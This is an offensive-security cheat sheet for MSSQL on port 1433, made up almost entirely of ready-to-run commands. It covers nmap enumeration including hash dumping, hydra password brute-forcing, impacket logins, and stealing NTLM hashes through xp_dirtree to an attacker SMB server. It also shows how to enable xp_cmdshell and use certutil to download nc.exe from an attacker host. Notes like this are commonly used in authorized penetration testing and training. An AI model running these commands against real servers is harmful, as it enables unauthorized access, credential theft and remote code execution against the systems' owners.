1433

# MSSQL - 1433
# Get information
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

# Brute force
hydra -L <USERS_LIST> -P <PASSWORDS_LIST> <IP> mssql -vV -I -u
hydra -l sa -P password.txt -V $ip mssql

# Having credentials
mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<IP>
mssqlclient.py <USER>:<PASSWORD>@<IP>

# Connect to MSSQL server
sqsh -S server_address -U sa -P password

# Once logged in you can run queries:
SQL> select @@ version;

# Steal NTLM hash
sudo smbserver.py -smb2support liodeus .

# Steal the NTLM hash, crack it with john or hashcat
SQL> exec master..xp_dirtree '\\<IP>\<HOME>\' 

# Try to enable code execution
SQL> enable_xp_cmdshell
# OR

SQL> exec sp_configure 'show advanced options', 1

SQL> reconfigure

SQL> exec sp_configure 'xp_cmdshell', 1

SQL> reconfigure

# Execute code
SQL> xp_cmdshell whoami /all
SQL> xp_cmdshell certutil.exe -urlcache -split -f http://<IP>/nc.exe

# Manual exploit
https://www.asafety.fr/mssql-injection-cheat-sheet/